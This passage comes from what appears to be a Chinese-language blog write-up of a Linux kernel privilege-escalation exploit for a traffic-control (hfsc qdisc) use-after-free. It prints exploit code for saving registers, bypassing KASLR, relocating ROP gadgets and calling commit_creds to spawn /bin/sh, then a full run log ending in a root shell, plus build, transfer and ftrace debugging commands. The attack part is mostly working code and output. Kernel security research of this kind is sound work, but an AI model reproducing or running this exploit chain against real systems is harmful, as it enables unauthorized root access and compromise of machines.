		code_execution_primitive->network_interface_ifindex
	);
	trigger_qdisc_enqueue(
		code_execution_primitive->raw_packet_socket,
		code_execution_primitive->network_interface_ifindex
	);
}

注意,需触发hfsc_enqueue() -> cl->qdisc->enqueuepfifo_tail_enqueue())2次:

  • 第1次packet入队,使得Victim_Qdisc->q.qlen == 0,这样hfsc_dequeue()会提前返回。
  • 第2次packet入队,使得Victim_Qdisc->q.qlen == 1,这样hfsc_dequeue()会触发cl->qdisc->dequeue()控制流劫持。

7. 整体利用

(1)保存用户态寄存器 - [exploit.c#L1769]

c 复制代码
save_state();

void save_state(void)
{
	__asm__(
		".intel_syntax noprefix;"
		"mov user_cs, cs;"
		"mov user_ss, ss;"
		"mov user_rsp, rsp;"
		"pushf;"
		"pop user_rflags;"
		".att_syntax;"
	);
}

(2)当前任务绑定到CPU core 0,使exp上下文位于同一核,以利用percpu slab cachefreelist - [exploit.c#L1770]

c 复制代码
pin_on_cpu(0);

(3)创建并进入user/network命名空间 - [exploit.c#L1771]

c 复制代码
setup_namespace();

(4)绕过KASLR - [exploit.c#L1772]

c 复制代码
u64 kernel_base = find_kernel_base();

(5)更新内核地址 - [exploit.c#L1773]

c 复制代码
update_kernel_address(kernel_base);

void update_kernel_address(u64 kernel_base)
{
	init_task += kernel_base;
	init_fs += kernel_base;
	push_rdi_pop_rsp_ret += kernel_base;
	mov_qword_ptr_rax_rsi_ret += kernel_base;
	mov_rdi_rax_rep_ret += kernel_base;
	pop_rdi_ret += kernel_base;
	pop_rcx_ret += kernel_base;
	pop_rsi_ret += kernel_base;
	add_rax_rcx_ret += kernel_base;
	add_rsp_0x8_ret += kernel_base;
	prepare_kernel_cred += kernel_base;
	commit_creds += kernel_base;
	find_task_by_vpid += kernel_base;
	swapgs_restore_regs_and_return_to_usermode_nopop += kernel_base;
}

(6)劫持控制流 - [exploit.c#L1790]

c 复制代码
code_execution_primitive_setup_network_interface(&code_execution_primitive);
code_execution_primitive_build_primitive(&code_execution_primitive);
code_execution_primitive_trigger(&code_execution_primitive);

(7)内核返回到win() - [exploit.c#L1586]

c 复制代码
void win(void)
{
	sleep(2);
	static char *sh_args[] = {"sh", NULL};
	execve("/bin/sh", sh_args, NULL);
}

可能由于路径上有softirq,所以立即调用execve会导致获取shell失败(不确定)。需调用sleep(2)

8. 测试

成功提权

bash 复制代码
john@john-virtual-machine:~/Desktop/tmp$ ssh -p 10021 hi@localhost
hi@localhost's password: 
Linux syzkaller 6.6.75 #3 SMP PREEMPT_DYNAMIC Thu Dec 18 02:07:49 EST 2025 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jan 26 08:36:27 2026 from 10.0.2.10
$ uname -a
Linux syzkaller 6.6.75 #3 SMP PREEMPT_DYNAMIC Thu Dec 18 02:07:49 EST 2025 x86_64 GNU/Linux
$ ls
exploit  keyutils-1.5.9  keyutils-1.5.9.tar.gz
$ ./exploit
[1-1] prepare heap read data
    (1) create `NETLINK_ROUTE` socket
   test --- heap_read_primitive->route_socket :0x10489c10
    (2) create raw packet socket
   test --- heap_read_primitive->raw_packet_socket :0x4
    (3) prepare 3 qdisc handle & 4 classid
    (4) prepare parameters for spray `user_key_payload`
[1-2] prepare parameters for spraying `xfrm_policy` in kmalloc-1024
[1-3] heap read & find KASLR
  [1-3-1] spray 16 `xfrm_policy`
  [1-3-2] prepare heap read - OOB of `user_key_payload`
    (1) create dummy network interface
     test ---- route_socket: 0x10489c10
    (2) set interface up
       test ---  11111
    --------- heap read build ---------
      (1) preapare UAF
          -------- prepare UAF --------
          <1> create `Qdisc_A`
          <2> create `Qdisc_C`
          <3> trigger bug
          <4> delete `Qdisc_C`
          <5> create `class_A`
          <6> create `Qdisc_B`
          <7> create `Qdisc_C`
          <8> change `Qdisc_A` route
          <9> trigger bug: Qdisc_A -> Qdisc_B -> Qdisc_C
          <10> delete `Qdisc_C`
          <11> create normal `Qdisc_C`
          <12> trigger Flow2
          <13> trigger Flow1
      (2) spray `user_key_payload` to take up `UAF hfsc_class`
      (3) leak addr of `hfsc_class`
[+]        hfsc_class B address: 0xffff8881055cf800
      (4) construct fake rb_tree - 2 node (1-`class_B` / 2-`UAF_hfsc_class`)
      (5) add node - `UAF_rb_node->rb_right`
      (6) find overlapped `user_key_payload` - read `UAF_rb_node->rb_right`
      (7) free unimportant `user_key_payload`
      (8) trigger overwrite - `user_key_payload_B->datalen` -> overflow
       test ---  22222
  [1-3-3] spray 16 `xfrm_policy`
  [1-3-4] trigger heap read
    --- Read length of user_key_payload: 49313 = 0xc0a1
[+] leak kernel_base: 0xffffffff81000000
[2-1] CFH initialize
   test --- code_execution_primitive->route_socket :0x10498610
   test --- code_execution_primitive->raw_packet_socket :0x8
[2-2] CFH - setup network interface
     test ---- route_socket: 0x10498610
[2-3] CFH - construct CFH
  (1) trigger UAF
          -------- prepare UAF --------
          <1> create `Qdisc_A`
          <2> create `Qdisc_C`
          <3> trigger bug
          <4> delete `Qdisc_C`
          <5> create `class_A`
          <6> create `Qdisc_B`
          <7> create `Qdisc_C`
          <8> change `Qdisc_A` route
          <9> trigger bug: Qdisc_A -> Qdisc_B -> Qdisc_C
          <10> delete `Qdisc_C`
          <11> create normal `Qdisc_C`
          <12> trigger Flow2
          <13> trigger Flow1
  (2) spray `user_key_payload` to take up `UAF_hfsc_class`
  (3) leak addr of `hfsc_class`
[+]        hfsc_class B address: 0xffff8881055d9000
  (4) construct fake Qdisc & ROPchain
  (5) delete `class_B` - `UAF hfsc_class`
  (6) spray `user_key_payload` to take up `class_B`
  (7) spray `user_key_payload` to take up `user_key_payload_A`
  (8) setup to make `->enqueue()` return `NET_XMIT_SUCCESS`
[2-4] CFH - trigger
# id
uid=0(root) gid=0(root) groups=0(root)
# 

9. 常用命令

libmnl / libnftl 安装

bash 复制代码
$ sudo apt-get install libcap2-bin bzip2 make pkg-config        # 安装 setcap/bzip2/make/pkg-config
$ tar   -jxvf    xx.tar.bz2
$ ./configure --prefix=/usr && make     # libmnl / libnftl
$ sudo make install

liburing 安装(本次exp不需要安装liburing)

bash 复制代码
# 安装 liburing   生成 liburing.a / liburing.so.2.2
$ make
$ sudo make install

常用命令

bash 复制代码
# ssh连接与测试
$ ssh -p 10021 hi@localhost             # password: lol
$ ./exploit

# 编译exp
$ make CFLAGS="-I /home/hi/lib/libnftnl-1.2.2/include"
$ gcc -static ./get_root.c -o ./get_root
$ gcc -no-pie -static -pthread ./exploit.c -o ./exploit

# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi      # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./   # 下载文件
$ scp -P 10021 ./exploit.c ./get_root.c ./exploit ./get_root  hi@localhost:/home/hi

问题 :原来的 ext4文件系统空间太小,很多包无法安装,现在换syzkaller中的 stretch.img 试试。

bash 复制代码
# 服务端添加用户
$ useradd hi && echo lol | passwd --stdin hi
# ssh连接
$ sudo chmod 0600 ./stretch.id_rsa
$ ssh -i stretch.id_rsa -p 10021 -o "StrictHostKeyChecking no" root@localhost
$ ssh -p 10021 hi@localhost
# 问题: Host key verification failed.
# 删除ip对应的相关rsa信息即可登录 $ sudo nano ~/.ssh/known_hosts
# https://blog.csdn.net/ouyang_peng/article/details/83115290

ftrace调试 :注意,QEMU启动时需加上 no_hash_pointers 启动选项,否则打印出来的堆地址是hash之后的值。trace中只要用 %p 打印出来的数据都会被hash,所以可以修改 TP_printk() 处输出时的格式符,%p -> %lx

bash 复制代码
# host端, 需具备root权限
cd /sys/kernel/debug/tracing
echo 1 > events/kmem/kmalloc/enable
echo 1 > events/kmem/kmalloc_node/enable
echo 1 > events/kmem/kfree/enable

# ssh 连进去执行 exploit

cat /sys/kernel/debug/tracing/trace > /home/hi/trace.txt

# 下载 trace
scp -P 10021 hi@localhost:/home/hi/trace.txt ./ 	# 下载文件

# 记录函数调用 (参考 https://blog.csdn.net/panhewu9919/article/details/103114321)
# (1) 挂载 debugfs
$ mount -t debugfs none /sys/kernel/debug
# (2) 配置 ftrace,以追踪sys_write为例
echo function_graph > /sys/kernel/debug/tracing/current_tracer
# echo sys_write > /sys/kernel/debug/tracing/set_graph_function  # 指定追踪syscall
echo 1 > /sys/kernel/debug/tracing/tracing_on
# 执行write操作(比如运行echo命令)
echo 0 > /sys/kernel/debug/tracing/tracing_on
cat /sys/kernel/debug/tracing/trace > trace_output.txt

/sys/kernel/debug/tracing # echo 0 > /proc/sys/kernel/ftrace_enabled 
/sys/kernel/debug/tracing # echo 0 > tracing_on
/sys/kernel/debug/tracing # echo function_graph > current_tracer 
# /sys/kernel/debug/tracing # echo __do_fault > set_graph_function
/sys/kernel/debug/tracing # echo 1 > /proc/sys/kernel/ftrace_enabled
/sys/kernel/debug/tracing # echo 1 > tracing_on
/sys/kernel/debug/tracing # echo 0 > tracing_on
/sys/kernel/debug/tracing # cat /sys/kernel/debug/tracing/trace > /home/hi/trace_output.txt

3-1. exp说明

libnl ------ Netlink交互封装库,包含 nlmsg_alloc() / nlmsg_put() 等函数。

安装libnl

bash 复制代码
$ tar -xvf ./libnl-xx.tar.gz
$ ./configure --prefix=/usr && make
$ sudo make install

3-2. idea

ROP链的组装问题 :例如将$RSI指向的地址处的指针赋值给$RSP,作者原先是通过两次leave;ret$RBP指向的地址处的指针赋值给$RSP。尝试了很多种方法,详见 代码分析.md

poc触发漏洞 :本漏洞只会造成释放后引用nft_object->use--,如果不KASAN插桩的话,不会造成崩溃。这一点和CVE-2023-4004漏洞的Double-Free效果不同。在不源码插桩的情况下,需改进QEMU进行内存监控。

漏洞挖掘模式提取 :这里的问题是,对于nft_object->use引用计数的加和减不平衡,导致UAF。参加代码分析 9/11,CVE-2023-4569和错误处理路径上的新漏洞(可惜已经修复,触发poc可参见test.c,6.1.42未修复版本nft_add_set_elem(),调用的是nft_set_elem_destroy();对应6.1.43已修复版本nft_add_set_elem(),调用的是nf_tables_set_elem_destroy())可作为案例。

参考

https://github.com/quanggle97/security-research/tree/master/pocs/linux/kernelctf/CVE-2025-21702_lts_cos

Linux流量控制(Traffic Control)介绍 ------ 概念科普

Linux内核中网络数据的流量控制(TC: Traffic control 和 QDISC) ------ qdisc tree图示示例,TC命令示例

Linux内核中流量控制 ------ 源码分析,内核版本2.6.x

看图理解linux内核网络流量控制工具tc(Traffic Control) ------ 图示展示qdisc / filter / class / action 的关系;有示例tc命令的解释

三万字深度剖析Linux 高级路由与流量控制手册(建议收藏)

相关推荐
物理与数学3 天前
linux内核 struct super_block
linux·linux内核
物理与数学4 天前
Linux 页表映射
linux·linux内核
物理与数学4 天前
linux内核常用hook机制
linux·linux内核
物理与数学6 天前
linux内核 页缓存的脏页管理
linux·linux内核
物理与数学6 天前
Linux 内核 vm_area_struct与vm_struct
linux·linux内核
物理与数学6 天前
linux内核 Multi-Gen LRU 算法
linux·linux内核
物理与数学7 天前
Linux 内核 address_space与页缓存
linux·linux内核
新兴AI民工7 天前
【Linux内核十一】进程管理模块:stop调度器(一)
linux·服务器·linux内核
物理与数学7 天前
Linux 文件系统浅析
linux·linux内核